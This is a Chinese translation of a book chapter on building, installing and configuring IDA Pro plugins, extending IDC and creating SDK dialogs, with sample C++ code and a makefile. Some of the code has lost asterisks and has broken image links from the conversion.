无论插件是如何被执行的,理解一些基本事实是很重要的。插件功能是从 IDA 的主事件处理循环中调用的。当插件正在执行时,IDA 无法处理事件,包括队列中的分析任务或用户界面的更新。因此,你的插件应尽可能快速地完成任务并返回控制权给 IDA。否则,IDA 将完全无响应,将无法恢复控制。换句话说,一旦你的插件开始执行,就没有简单的方法从中退出。你必须等待插件完成或终止你的 IDA 进程。在后一种情况下,你可能会遇到一个可能损坏或可能无法由 IDA 修复的开放数据库。SDK 提供了三个函数,你可以使用这些函数来解决这个问题。可以通过调用 show_wait_box 函数来显示一个对话框,该对话框显示消息“请等待...”以及一个取消按钮。你可以通过调用 wasBreak 函数定期测试用户是否按下了取消按钮。这种方法的优点是,当调用 wasBreak 时,IDA 将利用这个机会更新其用户界面,并允许你的插件有机会决定是否应该停止正在进行的处理。无论如何,你必须调用 hide_wait_box 来从显示中移除等待对话框。

不要试图在插件中变得有创意,让 PLUGIN.run 函数创建一个新的线程来处理插件内的处理。IDA 不是线程安全的。IDA 中没有锁定机制来同步对 IDA 使用的许多全局变量的访问,也没有锁定机制来确保数据库事务的原子性。换句话说,如果你创建了一个新的线程,并使用 SDK 函数在该线程中修改数据库,你可能会损坏数据库,因为 IDA 可能正在对其进行自己的数据库修改,这与你的尝试更改相冲突。

考虑到这些限制,对于大多数插件,插件执行的大部分工作将在 PLUGIN.run 中实现。基于我们之前初始化的 PLUGIN 对象,PLUGIN.run 的一个最小(且无聊)的实现可能如下所示:

void idaapi idabook_plugin_run(int arg) {
   msg("idabook plugin activated!\n");
}

每个插件都可以使用 C++ 和 IDA API。通过将插件与适当的平台特定库链接,可以获得额外的功能。例如,完整的 Windows API 对 IDA 的 Windows 版本开发的插件可用。若想做一些比向输出窗口打印消息更有趣的事情,您需要了解如何使用 IDA SDK 中的可用函数来完成您期望的任务。以 示例 16-6 中的代码为例,我们可能会开发以下函数:

void idaapi extended_plugin_run(int arg) {
   func_t *func = get_func(get_screen_ea());  //get function at cursor location
   msg("Local variable size is %d\n", func->frsize);
   msg("Saved regs size is %d\n", func->frregs);
   struc_t *frame = get_frame(func);          //get pointer to stack frame
   if (frame) {
      size_t ret_addr = func->frsize + func->frregs;  //offset to return address
      for (size_t m = 0; m < frame->memqty; m++) {    //loop through members
         char fname[1024];
         get_member_name(frame->members[m].id, fname, sizeof(fname));
         if (frame->members[m].soff < func->frsize) {
            msg("Local variable ");
         }
         else if (frame->members[m].soff > ret_addr) {
            msg("Parameter ");
         }
         msg("%s is at frame offset %x\n", fname, frame->members[m].soff);
         if (frame->members[m].soff == ret_addr) {
            msg("%s is the saved return address\n", fname);
         }
      }
   }
}

使用此函数,我们现在有了插件的核心,该插件在每次插件激活时都会转储当前选定函数的栈帧信息。

构建您的插件

在 Windows 上,插件是有效的 DLL 文件(偶然使用 .plw 或 .p64 扩展名),而在 Linux 和 Mac 上,插件是一个有效的共享对象文件(分别使用 .plx/.plx64.pmc/.pmc64 扩展名)。构建插件可能是一个棘手的问题,因为您必须确保所有构建设置都正确,否则构建过程几乎肯定会失败。SDK 包含了多个示例插件,每个插件都包含自己的 makefile。这些 makefile 都是为了与 Windows 上的 Borland 构建工具兼容而创建的。当您希望使用不同的工具链或在不同的平台上构建时,这会带来一些挑战。SDK 中包含的 install_xxx.txt 文件讨论了使用 /bin/idamake.pl 来使用 GNU make 和 gcc 构建插件。idamake.pl 的目的是从 Borland 风格的 makefile 生成 GNU make 风格的 makefile,然后调用 GNU make 来构建插件。

我们在构建插件时倾向于使用简化版的 makefile,配合 GNU 工具(通过 Windows 上的 MinGW)。示例 17-1 中的简化 makefile 可以轻松地适配到您自己的插件项目中:

示例 17-1. 为 IDA 插件的一个示例 makefile

#Set this variable to point to your SDK directory
IDA_SDK=../../

PLATFORM=$(shell uname | cut -f 1 -d _)

ifneq "$(PLATFORM)" "MINGW32"
IDA=$(HOME)/ida
endif

#Set this variable to the desired name of your compiled plugin
PROC=idabook_plugin

ifeq "$(PLATFORM)" "MINGW32"
PLATFORM_CFLAGS=-D__NT__ -D__IDP__ -DWIN32 -Os -fno-rtti
PLATFORM_LDFLAGS=-shared -s
LIBDIR=$(shell find ../../ -type d | grep -E "(lib|lib/)gcc.w32")
ifeq ($(strip $(LIBDIR)),)
LIBDIR=../../lib/x86_win_gcc_32
endif
IDALIB=$(LIBDIR)/ida.a
PLUGIN_EXT=.plw

else ifeq "$(PLATFORM)" "Linux"
PLATFORM_CFLAGS=-D__LINUX__
PLATFORM_LDFLAGS=-shared -s
IDALIB=-lida
IDADIR=-L$(IDA)
PLUGIN_EXT=.plx

else ifeq "$(PLATFORM)" "Darwin"
PLATFORM_CFLAGS=-D__MAC__
PLATFORM_LDFLAGS=-dynamiclib
IDALIB=-lida
IDADIR=-L$(IDA)/idaq.app/Contents/MacOs
PLUGIN_EXT=.pmc
endif

#Platform specific compiler flags
CFLAGS=-Wextra -Os $(PLATFORM_CFLAGS)

#Platform specific ld flags
LDFLAGS=$(PLATFORM_LDFLAGS)

#specify any additional libraries that you may need
EXTRALIBS=

# Destination directory for compiled plugins
OUTDIR=$(IDA_SDK)bin/plugins/

#list out the object files in your project here
OBJS=idabook_plugin.o

BINARY=$(OUTDIR)$(PROC)$(PLUGIN_EXT)

all: $(OUTDIR) $(BINARY)

clean:
    -@rm *.o
    -@rm $(BINARY)

$(OUTDIR):
    -@mkdir -p $(OUTDIR)

CC=g++
INC=-I$(IDA_SDK)include/

%.o: %.cpp
    $(CC) -c $(CFLAGS) $(INC) $< -o $@

LD=g++

$(BINARY): $(OBJS)
    $(LD) $(LDFLAGS) -o $@ $(OBJS) $(IDADIR) $(IDALIB) $(EXTRALIBS)

#change idabook_plugin below to the name of your plugin, make sure to add any
#additional files that your plugin is dependent on
idabook_plugin.o: idabook_plugin.cpp

上述 makefile 使用 uname 命令来确定其运行的平台,并根据此配置一些构建标志。可以通过将相关目标文件的名称追加到 $OBJS 变量和 makefile 的末尾来向插件项目添加额外的源文件。如果你的插件需要额外的库,你应该在 $EXTRALIBS 中指定库的名称。$IDA_SDK 变量用于指定 的位置,$IDA_SDK 可以指定为绝对路径或相对路径。在这个例子中,$IDA_SDK 被指定为相对路径,表示 位于插件目录的上两层。这与将插件项目定位在 /plugins 内(在这种情况下是 /plugins/**idabook_plugin)相一致。如果你选择将插件的项目目录定位在相对于 *的其他位置,你必须确保 $IDA_SDK 正确地引用了 。最后,上述示例被配置为将成功编译的插件存储在 /bin/plugins 中。重要的是要理解,成功编译插件并不一定意味着插件被安装。我们将在下一节中介绍插件的安装。

install_visual.txt 中讨论了使用 Microsoft 的 Visual C++ Express 构建 IDA 模块。要使用 Visual Studio 2008 从头创建一个项目,请执行以下步骤:

  1. 选择 文件新建项目 以打开显示在 图 17-1 中的新建项目对话框。

    Visual Studio 新建项目对话框

    图 17-1. Visual Studio 新建项目对话框

  2. 将项目类型指定为 Visual C++/Win32,选择 Win32 项目 模板,并为你的项目提供名称和位置。我们通常在 /plugins 目录内创建新的插件项目,以便将所有插件分组在一起。当你点击 OK 时,Win32 应用程序向导会出现。点击 Next 进入应用程序设置步骤,然后将应用程序类型设置为 DLL,在点击 Finish 之前将附加选项设置为 空项目,如图 图 17-2 所示。

    Visual Studio Win32 应用程序向导

    图 17-2. Visual Studio Win32 应用程序向导

  3. 一旦创建了项目的基本框架,您必须配置一些额外的设置。在 Visual Studio 2008 中,通过项目 ▸ 属性访问项目属性,这将显示图 17-3 中所示的对话框。只有在将源文件添加到项目后,C/C++配置选项才可用,无论是通过添加和编辑新文件还是添加现有文件。

    Visual Studio 项目属性对话框

    图 17-3. Visual Studio 项目属性对话框

需要修改的设置分散在对话框左侧的配置属性部分。 图 17-3 展示了在整个项目中设置属性的方式。在对话框左侧选择每个属性类别后,对话框右侧将显示可配置属性的列表。请注意,属性类别以分层方式组织。属性使用文件选择控件、单行编辑控件、多行编辑控件或下拉列表选择控件进行编辑。表 17-1 详细说明了必须编辑以创建插件项目的属性。

注意,Visual Studio 允许您为项目的调试和发布版本指定不同的配置选项(见图 17-3 左上角)。如果您打算为您的插件构建单独的调试和发布版本,请确保您已修改了两种配置中的属性。或者,您可以通过从配置下拉列表(位于属性对话框的左上角)中选择“所有配置”来节省一些时间,在这种情况下,您的属性更改将应用于所有构建配置。

表 17-1. Visual Studio 插件配置值(32 位)

配置属性类别 特定属性 属性值
一般 输出目录 如需,通常为 \bin\plugins
C/C++▸一般 额外包含目录 添加 \include
C/C++▸预处理器 预处理器定义 追加 “;NT;IDP
C/C++▸代码生成 运行库 多线程(发布)^([a]) 多线程调试(调试)(不是 DLL 版本)^([b])
链接▸一般 输出文件 更改扩展名为 .plw
链接▸一般 额外库目录 添加 \lib\x86_win_vc_32^([c])
链接器▸输入 额外依赖项 添加 ida.lib(来自 \lib\86_win_vc_32
链接器▸命令行 额外选项 添加 /EXPORT:PLUGIN

|

^([a]) 在此情况下,多线程指的是 C++运行时库本身。IDA 恰好是一个使用此库的单线程应用程序。C++运行时库没有单线程版本。

^([b]) 选择 C++库的 DLL 版本需要确保在插件最终运行的系统上存在 MSVCR80.DLL。为了消除此限制,请选择非 DLL 版本的 C++运行时库,这将生成一个更易于移植的静态链接插件。

^([c]) 在 SDK 版本 6.1 之前,添加库目录 \lib\vc.w32

|

安装插件

与构建过程相比,插件安装非常简单。安装插件是通过将编译好的插件模块复制到 /plugins 目录来完成的。请注意,Windows 系统不允许覆盖正在使用的可执行文件。因此,要在 Windows 系统上安装插件,您必须确保任何之前的插件版本已经从 IDA 中卸载。根据插件加载选项,插件可能在关闭数据库时卸载。然而,设置了 PLUGIN_FIX 标志的插件可能需要在将新插件复制到 /plugins 之前完全关闭 IDA。

在 Linux 和 OS X 系统上,可执行文件在使用时可以被覆盖,因此您不需要在安装新版本之前确保插件已卸载。然而,新版本的插件将不会在下次 IDA 提供插件加载机会之前被加载到 IDA 中。

一些 IDA 插件仅以二进制形式分发,而其他插件则以源代码和二进制格式分发。安装此类插件通常涉及找到适合您 IDA 版本的编译好的插件版本,并将其复制到 /plugins 目录。请确保您阅读了任何您希望安装的插件的文档(如果有!),因为某些插件需要安装额外的组件才能正常工作。

配置插件

IDA 通过 /plugins/plugins.cfg 中的设置提供有限的插件配置能力。plugins.cfg 中的设置可以用来指定有关插件以下信息:

  • 插件的备用菜单描述。此值覆盖了插件的 wanted_name 数据成员。

  • 插件的非标准位置或文件扩展名。默认情况下,IDA 在 /plugins 中搜索插件,并期望插件具有默认的平台特定文件扩展名。

  • 用于激活插件的备用或附加快捷键。此值覆盖了插件的 wanted_hotkey 数据成员。

  • 每次插件被激活时,要传递给插件PLUGIN.run函数的整数值。

  • 用于调试器插件的可选DEBUG标志。调试器插件将在第二十四章中讨论。

有效插件配置行的语法在plugins.cfg中描述。这里展示了几个插件配置行的示例:

; Semicolons introduce comments.  A plugin configuration line consists
; of three required components and two optional components
;  plugin_name  plugin_file  hotkey  [integer run arg]  [DEBUG]
The_IdaBook_Plugin   idabook_plugin   Alt-F2  1
IdaBook_Plugin_Alt   idabook_plugin   Alt-F3  2

插件的wanted_namewanted_hotkey数据成员由插件作者选择并编译到插件中。完全有可能两个由不同作者开发的插件具有相同名称或相同的快捷键关联。在plugin.cfg中,plugin_name字段指定要添加到“编辑 ▸ 插件”菜单中的文本(该文本覆盖PLUGIN.wanted_name)。可以为单个插件分配多个名称——因此可以分配多个菜单项。在将名称添加到“编辑 ▸ 插件”菜单之前,plugin_name字段中的下划线字符被替换为空格字符。

plugin_file字段指定应用于当前配置行的编译插件模块文件的名称。如果指定了完整路径,IDA 将从指定路径加载插件。如果没有指定路径,IDA 将在<IDADIR>/plugins中查找插件。如果没有指定文件扩展名,则 IDA 假设当前平台的默认插件扩展名。如果指定了文件扩展名,IDA 将搜索与插件文件名完全匹配的文件。

hotkey字段指定用于激活插件的快捷键。此字段覆盖PLUGIN.wanted_hotkey的值,并可用于解决两个已构建的插件使用相同快捷键进行激活时的冲突快捷键分配。或者,将多个快捷键分配给插件可以提供以多种方式激活插件的能力。在这种情况下,根据使用了哪个快捷键来激活插件,为PLUGIN.run指定唯一的整数参数是有用的。当你向PLUGIN.run传递不同的整数值时,IDA 使插件能够确定它确切是如何被激活的。当插件实现多个行为且每个行为都是根据插件是如何被激活的来选择时,这种能力非常有用。在前面的配置示例中,每次插件通过 alt-F3 快捷键序列被激活时,IDA 都会将整数值 2 传递给idabook_pluginPLUGIN.run函数。

扩展 IDC

到目前为止,我们已介绍了主要设计用于操作或从数据库中提取信息的插件。在本节中,我们将展示如何扩展 IDC 脚本语言的功能。([117]) 如第十六章所述,IDC 是在 IDA API 之上实现的,因此当需要时使用 API 来增强 IDC 并不令人惊讶。

在 第十五章 和 第十六章 中,你了解到 IDC 全局数组实际上是 netnodes 的一种有限抽象。回想一下,在 IDC 中,你通过提供一个名称并返回一个数组 ID 来创建全局数组。内部你的名称会被前缀字符串 “$ idc_array ”,而你收到的数组 ID 实际上是一个 netnode 索引值。我们如何扩展 IDC 以便能够访问 IDA 数据库中的任何 netnode 呢?我们可以通过使用索引作为 IDC 中的数组 ID 来访问任何我们恰好知道索引的 netnode,所以我们需要的能力是能够访问任何我们恰好知道名称的 netnode。IDC 目前阻止我们这样做,因为它将 “$ idc_array ” 前缀添加到我们提供的每个 netnode 名称中。现在引入 SDK 和 set_idc_func_ex 函数。

expr.hpp 中定义的 set_idc_func_ex 可以用来创建一个新的 IDC 函数并将其行为映射到 C++ 实现中。set_idc_func_ex 的原型如下所示:

typedef error_t (idaapi *idc_func_t)(idc_value_t *argv, idc_value_t *res);
bool set_idc_func_ex(const char *idc_name, idc_func_t idc_impl,
                     const char *args, int extfunc_flags);

注意,我们在这里引入了 idc_func_t 数据类型,以简化代码。此数据类型在 SDK 中没有定义。set_idc_func_ex 的参数指定了我们要引入的新 IDC 函数的名称(idc_name),实现我们新 IDC 行为的 C++ 函数的指针(idc_impl),一个以 null 结尾的字符数组,指定新 IDC 函数的参数类型和顺序(args),以及标志(extfunc_flags),指示是否需要打开数据库或函数是否永不返回。

以下函数用作插件初始化函数,通过创建我们正在设计的新的 IDC 函数来完成整个过程:

int idaapi init(void) {
    static const char idc_str_args[] = { VT_STR2, 0 };
    set_idc_func_ex("CreateNetnode", idc_create_netnode, idc_str_args, 0);
      return PLUGIN_KEEP;
  }

此函数创建新的 IDC 函数 CreateNetnode 并将其映射到我们的实现函数 idc_create_netnode 图片链接。新 IDC 函数的参数指定为单个字符串类型(VT_STR2)![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/
static error_t idaapi idc_create_netnode(idc_value_t *argv, idc_value_t *res) {
res->vtype = VT_LONG; //result type is a netnode index
if (argv[0].vtype == VT_STR2) { //verify we have the proper input type
netnode n(argv[0].c_str(), 0, true); //create the netnode
res->num = (nodeidx_t)n; //set the result value
}
else {
res->num = −1; //If the user supplies a bad argument we fail
}
return eOk;
}


这个函数的两个参数代表输入参数数组(`argv`),包含 `CreateNetnode` 的所有参数(在这种情况下应该只有一个)和一个输出参数(`res`),用于接收我们实现的 IDC 函数的结果。SDK 数据类型 `idc_value_t` 代表一个 IDC 值。此数据类型内的字段表示值当前表示的数据类型和值的当前内容。函数开始时指定 `CreateNetnode` 返回一个长整型(`VT_LONG`)值![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。由于 IDC 变量是无类型的,我们必须内部指示变量在任何给定时刻所持有的值类型。接下来,函数验证 `CreateNetnode` 的调用者是否提供了一个字符串类型的参数(`VT_STR2`)![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。如果已提供有效参数,则使用提供的名称创建一个 netnode![图片](httpatomoreillycomsourcenostarchimages854093.png)。返回的 netnode 索引号作为 `CreateNetnode` 函数的结果返回给调用者![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)。在这个例子中,结果类型是一个整数值,因此结果被存储到 `res->num` 字段中。如果结果类型是字符串,我们就需要调用 `res->set_string` 来设置结果字符串值。如果用户未能提供字符串参数,函数将失败并返回无效的 netnode 索引 `-1`![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png)。

我们通过以下函数和 `PLUGIN` 结构完成插件:

void idaapi term(void) {} //nothing to do on termination
void idaapi run(int arg) {} //nothing to do and no way to activate

plugin_t PLUGIN = {
IDP_INTERFACE_VERSION,
//this plugin loads at IDA startup, does not get listed on the Edit>Plugins menu
//and modifies the database
PLUGIN_FIX | PLUGIN_HIDE | PLUGIN_MOD, // plugin flags
init, // initialize
term, // terminate. this pointer may be NULL.
run, // invoke plugin
"", // long comment about the plugin
"", // multiline help about the plugin
"", // the preferred short name of the plugin
"" // the preferred hotkey to run the plugin
};


这个插件的技巧在于它在 IDA 启动时加载(`PLUGIN_FIX`),并且对用户隐藏,因为它没有被添加到 Edit ▸ Plugins 菜单中(`PLUGIN_HIDE`)![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。插件被保存在内存中,用于所有数据库,所有初始化都在插件的 `init` 函数中完成。因此,插件在它的 `run` 方法中没有任何操作。

一旦安装了这个插件,IDC 程序员可以使用 netnode 的名称访问 IDA 数据库中的任何命名 netnode,如下例所示:

auto n, val;
n = CreateNetnode("$ imports"); //no $ idc_array prefix will be added
val = GetArrayElement(AR_STR, n, 0); //get element zero


使用 SDK 与 IDC 交互的更多信息包含在 *expr.hpp* 头文件中。

* * *

^([117]) 注意,目前尚无方法可以从编译后的插件中程序化地扩展 IDAPython API。

# 插件用户界面选项

本书并不假装是一本用户界面开发指南。然而,在许多情况下,插件需要与 IDA 用户交互以请求或显示信息。除了在第十六章(Chapter 16)中提到的 API 的 `ask`*`XXX`* 函数之外,IDA API 还提供了一些更复杂的函数用于用户交互。对于更有冒险精神的插件开发者来说,值得记住的是,为 IDA 的 GUI 版本开发的插件也完全有权访问各种 GUI 库(Qt 或 Windows Native)中可用的用户界面函数。通过使用这些函数,你几乎可以在插件中使用任何类型的图形界面元素。

在使用 SDK 构建用户界面元素时,除了 SDK 的 `ask`*`XXX`* 接口函数之外,事情会变得稍微有些挑战性。其中一个原因是 SDK 试图提供一个通用的编程接口来完成向用户显示 GUI 元素并接受用户输入的相对复杂的任务。

## 使用 SDK 的选择对话框

我们将要讨论的前两个函数被称为 `choose` 和 `choose2`。这些函数以及用于控制其行为的各种常量都在 *kernwin.hpp* 中声明。每个函数的目的是向用户显示一系列数据元素,并要求用户从列表中选择一个或多个项目。`choose` 函数能够通过要求你指定用于生成选择窗口中显示的每一行文本的格式化函数,几乎显示任何类型的数据。这两个函数的不同之处在于 `choose` 显示单列列表,而 `choose2` 能够显示多列列表。在以下示例中,我们展示了这些函数最简单的形式,这些形式依赖于许多默认参数。如果你想要探索 `choose` 和 `choose2` 的全部功能,请查阅 *kernwin.hpp*。

对于向用户显示单列信息,`choose` 函数的最简单形式在省略默认参数后如下:

ulong choose(void *obj,
int width,
ulong (idaapi *sizer)(void *obj),
char *(idaapi *getline)(void *obj, ulong n, char *buf),
const char *title);


在这里,`obj` 参数是指向要显示的数据块的指针,而 `width` 是在选取窗口中使用的期望列宽。`sizer` 参数是指向一个函数的指针,该函数能够解析 `obj` 指向的数据,并返回显示该数据所需的行数。`getline` 参数是指向一个函数的指针,该函数可以生成从 `obj` 中选择的单个项目的字符字符串表示。请注意,只要 `sizer` 函数能够解析数据以确定显示数据所需的行数,并且只要 `getline` 函数可以使用整数索引定位特定数据项并生成该数据项的字符字符串表示,`obj` 指针可以指向任何类型的数据。`title` 参数指定用于生成的选取对话框的标题字符串。`choose` 函数返回用户选择的项的索引号(1..*n*),如果对话框被用户取消,则返回零。示例 17-2 中的代码虽然并不十分令人兴奋,但它是从一个演示 `choose` 函数使用的插件中提取出来的。

示例 17-2. `choose` 函数的示例用法

include <kernwin.hpp>

//The sample data to be displayed
int data[] = {0xdeafbeef, 0xcafebabe, 0xfeedface, 0};

//this example expects obj to point to a zero
//terminated array of non-zero integers.
ulong idaapi idabook_sizer(void obj) {
int p = (int)obj;
int count = 0;
while (
p++) count++;
return count;
}

/*

  • obj In this example obj is expected to point to an array of integers
  • n indicates which line (1..n) of the display is being formatted.
  • if n is zero, the header line is being requested.
  • buf is a pointer to the output buffer for the formatted data. IDA will
  • call this with a buffer of size MAXSTR (1024).
    

*/
char * idaapi idabook_getline(void *obj, ulong n, char *buf) {
int p = (int)obj;
if (n == 0) { //This is the header case
qstrncpy(buf, "Value", strlen("Value") + 1);
}
else { //This is the data case
qsnprintf(buf, 32, "0x%08.8x", p[n - 1]);
}
return buf;
}

void idaapi run(int arg) {
int choice = choose(data, 16, idabook_sizer, idabook_getline,
"Idabook Choose");
msg("The user's choice was %d\n", choice);
}


从 示例 17-2 激活插件会导致出现 图 17-4 中所示的选取对话框。

![选取对话框的示例](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854286.png.jpg)

图 17-4. 选取对话框的示例

`choose2` 函数提供了一个多列版本的选取对话框。同样,我们来看这个函数最简单的版本,接受所有可能的默认参数,这归结为以下内容:

ulong choose2(void *obj,
int ncol,
const int *widths,
ulong (idaapi *sizer)(void *obj),
void (idaapi *getline)(void obj, ulong n, char const *cells),
const char *title);


我们可以观察到 `choose2` 函数与我们之前看到的 `choose` 函数之间的一些差异。首先,`ncol` 参数指定要显示的列数,而 `widths` 参数是一个整数数组,指定每列的宽度。在 `choose2` 中,`getline` 函数的格式有所变化。由于 `choose2` 对话框可以包含多个列,因此 `get-line` 函数必须在单行内为每个列提供数据。示例 17-3 中的示例代码展示了在演示插件中使用 `choose2`。

示例 17-3. `choose2` 函数的示例用法

include <kernwin.hpp>

//The sample data to be displayed
int data[] = {0xdeafbeef, 0xcafebabe, 0xfeedface, 0};
//The width of each column
int widths[] = {16, 16, 16};
//The headers for each column
char *headers[] = {"Decimal", "Hexadecimal", "Octal"};
//The format strings for each column
char *formats[] = {"%d", "0x%x", "0%o"};

//this function expects obj to point to a zero terminated array
//of non-zero integers.
ulong idaapi idabook_sizer(void obj) {
int p = (int)obj;
int count = 0;
while (
p++) count++;
return count;
}

/*

  • obj In this function obj is expected to point to an array of integers
  • n indicates which line (1..n) of the display is being formatted.
  • if n is zero, the header line is being requested.
  • cells is a pointer to an array of character pointers. This array
  •   contains one pointer for each column in the chooser.  The output
    
  •   for each column should not exceed MAXSTR (1024) characters.*/
    

void idaapi idabook_getline_2(void obj, ulong n, char const *cells) {
int p = (int)obj;
if (n == 0) {
for (int i = 0; i < 3; i++) {
qstrncpy(cells[i], headers[i], widths[i]);
}
}
else {
for (int i = 0; i < 3; i++) {
qsnprintf(cells[i], widths[i], formats[i], p[n - 1]);
}
}
}

void run(int arg) {
int choice = choose2(data, 3, widths, idabook_sizer, idabook_getline_2,
"Idabook Choose2");
msg("The choice was %d\n", choice);
}


使用 示例 17-3 中的代码生成的多列选取对话框如图 图 17-5 所示。

![`choose2` 对话框示例](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854289.png.jpg)

图 17-5. `choose2` 对话框示例

`choose` 和 `choose2` 函数的更多复杂用法是可能的。每个函数都能够创建模态或非模态对话框,并且每个函数都可以生成允许选择多个项目的对话框。此外,每个函数还接受几个额外的参数,允许您在对话框中发生各种事件时得到通知。当这些函数用于创建非模态对话框时,结果是在其他 IDA 显示窗口的标签旁边显示一个新标签页窗口,例如导入窗口。实际上,IDA 的导入窗口是使用 `choose2` 接口实现的。有关 `choose` 和 `choose2` 的功能更多信息,请参阅 *kernwin.hpp*。

## 使用 SDK 创建自定义表单

为了创建更复杂的用户界面元素,SDK 提供了 `AskUsingForm_c` 函数。此函数的原型在此处显示:

int AskUsingForm_c(const char *form,...);


函数看起来足够简单,但在 SDK 中提供的用户界面函数中,它属于较为复杂的函数之一。这种复杂性是由于 `form` 参数的性质,该参数用于指定自定义对话框中各种用户界面元素的布局。`AskUsingForm_c` 函数与 `printf` 类似,因为 `form` 参数本质上是一个格式字符串,它描述了各种输入元素的布局。`printf` 格式字符串使用输出格式说明符,这些说明符被格式化的数据替换,而 `AskUsingForm_c` 格式字符串由输出说明符和表单字段说明符组成,当表单显示时,这些说明符被输入元素的实例替换。`AskUsingForm_c` 识别与 `printf` 完全不同的输出字段说明符。这些说明符在 *kernwin.hpp* 中详细说明,并提供了关于使用 `AskUsingForm_c` 的完整文档。表单字段指定符的基本格式在此处显示:

<#hint text#label:type:width:swidth:@hlp[]>


表单字段指定符的各个组成部分在以下列表中描述:

| **`#提示文本#`** 此元素是可选的。如果存在,则提示文本(不包括 # 字符)在鼠标悬停在关联输入字段上时作为工具提示显示。 |
| --- |
| **`label`** 静态文本,作为关联输入字段左侧的标签显示。在按钮字段的情况下,这是按钮文本。 |
| **`type`** 单个字符表示所指定的表单字段的类型。表单字段类型在以下列表中描述。 |
| **`width`** 关联输入字段可接受的输入字符的最大数量。在按钮字段的情况下,该字段指定一个整数按钮标识码,用于区分不同的按钮。 |
| **`swidth`** 输入字段的显示宽度。 |
| **`@hlp[]`** 此字段在*kernwin.hpp*中被描述为“从*IDA.HLP*文件中的帮助屏幕数量。”由于此文件的内容由 Hex-Rays 决定,因此此字段在大多数情况下似乎不太可能有用。为了忽略此字段,可以用冒号替换它。 |

用于`type`字段的字符指定在运行时实现对话框时将生成哪种类型的输入字段。每种表单字段都需要在`AskUsingForm_c`参数列表的变量参数部分中有一个关联的参数。表单字段类型说明符及其关联的参数类型如下(从*kernwin.hpp*中摘取):

Input field types va_list parameter


A - ascii string char* at least MAXSTR size
S - segment sel_t*
N - hex number, C notation uval_t*
n - signed hex number, C notation sval_t*
L - default base (usually hex) number, ulonglong*
C notation
l - default base (usually hex) number, longlong*
signed C notation
M - hex number, no "0x" prefix uval_t*
D - decimal number sval_t*
O - octal number, C notation sval_t*
Y - binary number, "0b" prefix sval_t*
H - char value, C notation sval_t*
$ - address ea_t*
I - ident char* at least MAXNAMELEN size
B - button formcb_t button callback function
K - color button bgcolor_t*
C - checkbox ushort* bit mask of checked boxes
R - radiobutton ushort* number of selected radiobutton


所有数字字段将用户提供的输入解释为 IDC 表达式,该表达式在用户点击对话框的 OK 按钮时解析和评估。所有字段都需要一个指针参数,用于输入和输出。当表单首次生成时,所有表单字段的初始值通过关联指针的解引用来获取。返回时,用户提供的表单字段值将写入相关的内存位置。与按钮(`B`)字段关联的指针是如果按下相关按钮将被调用的函数的地址。`formcb_t`函数定义如下。

// callback for buttons
typedef void (idaapi *formcb_t)(TView *fields[],int code);


按钮回调的`code`参数表示与被点击按钮关联的代码(宽度)值。通过使用 switch 语句测试此代码,你可以使用单个函数来处理许多不同的按钮。

指定单选按钮和复选框控件的语言与其它类型表单字段的格式略有不同。这些字段使用以下格式:

<#item hint#label:type>


单选按钮和复选框可以通过按顺序列出它们的说明符并使用以下特殊格式表示列表的结束来分组(注意末尾的额外`>`)。

<#item hint#label:type>>


单选按钮(或复选框)组将被框起来以突出显示该组。你可以通过在指定组中的第一个元素时使用特殊格式来给框一个标题,如下所示:

<#item hint#title#box hint#label:type>


如果你想要有一个框标题但不想使用任何提示,可以省略提示,留下以下格式说明符:

<##title##label:type>


在这一点上,让我们看看使用`AskUsingForm_c`构建的对话框的示例。图 17-6 显示了我们将在此讨论中引用的对话框。

![样本 AskUsingForm_c 对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854292.png.jpg)

图 17-6. 样本`AskUsingForm_c`对话框

用于创建`AskUsingForm_c`对话框的格式字符串由指定所需对话框每个方面的单独行组成。除了表单字段指定符外,格式字符串还可以包含在结果对话框中按原样显示的静态文本。最后,格式字符串可以包含对话框标题(必须后跟两个回车换行符)和一个或多个行为指令(例如`STARTITEM`,它指定当对话框首次显示时最初激活的表单字段索引)。用于创建图 17-6 中对话框的格式字符串如下所示:

char dialog =
"STARTITEM 0\n" //The first item gets the input focus
"This is the title\n\n" //followed by 2 new lines
"This is static text\n"
"String:A:32:32:\n" //An ASCII input field, need char[MAXSTR]
"Decimal:D:10:10:\n" //A decimal input field, sval_t

"<#No leading 0x#Hex:M:8:10::>\n" //A Hex input field with hint, uval_t*
"Button:B:::\n" //A button field with no code, formcb_t
"<##Radio Buttons##Radio 1:R>\n" //A radio button with box title
"<Radio 2:R>>\n" //Last radio button in group
//ushort* number of selected radio
"<##Check Boxes##Check 1:C>\n" //A checkbox field with a box title
"<Check 2:C>>\n"; //Last checkbox in group
//ushort* bitmask of checks


通过将对话框规范格式化为我们这样的形式,每行一个元素,我们试图使将每个字段指定符映射到图 17-6 中相应的字段变得更加容易。你可能注意到,在图 17-6 中,所有的文本和数字输入字段都显示为下拉列表控件。为了节省你的时间,IDA 会为每个列表填充与相关输入字段类型匹配的最近输入的值。以下插件代码可以用来显示示例对话框并处理任何结果:

void idaapi button_func(TView *fields[], int code) {
msg("The button was pressed!\n");
}

void idaapi run(int arg) {
char input[MAXSTR];
sval_t dec = 0;
uval_t hex = 0xdeadbeef;
ushort radio = 1; //select button 1 initially
ushort checkmask = 3; //select both checkboxes initially
qstrncpy(input, "initial value", sizeof(input));
if (AskUsingForm_c(dialog, input, &dec, &hex,
button_func, &radio, &checkmask) == 1) {
msg("The input string was: %s\n", input);
msg("Decimal: %d, Hex %x\n", dec, hex);
